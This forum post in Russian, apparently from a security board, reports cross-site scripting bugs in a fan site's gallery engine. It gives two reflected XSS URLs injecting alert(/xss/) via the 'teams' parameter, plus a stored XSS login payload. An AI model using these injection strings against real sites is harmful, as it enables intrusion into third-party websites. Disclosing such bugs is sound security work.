Показать сообщение отдельно

  #6  
Старый 04.07.2011, 23:00
flaurance1
Познающий
Регистрация: 05.02.2011
Сообщений: 43
С нами: 8034806

Репутация: 1
По умолчанию

Цитата:
Сообщение от heks  
что за движок интересует. Или самопис? Есть ли баги? Если можно в личку.
это не раскрутка сайта после обсуждения темы можно удалить данный топик
Написал в данный раздел потому что в первую очередь интересуют баги движка. Т.к. нужен данный скрипт приятелю на сайт.
xss:

Код:
http://pes6-club.pesgame.net/gal/nationalteamsall.php?teams=textalert(/xss/)&submit=Просмотреть
http://pes6-club.pesgame.net/gal/teamsall.php?teams=textalert(/xss/)&submit=Просмотреть
Если зарегистрироваться, например, с такими логином и паролем:

Код:
text>alert(/xss/)
То при переходе на другую страницу/обновлении текущей страницы будет выскакивать сообщени о xss.
 
Ответить с цитированием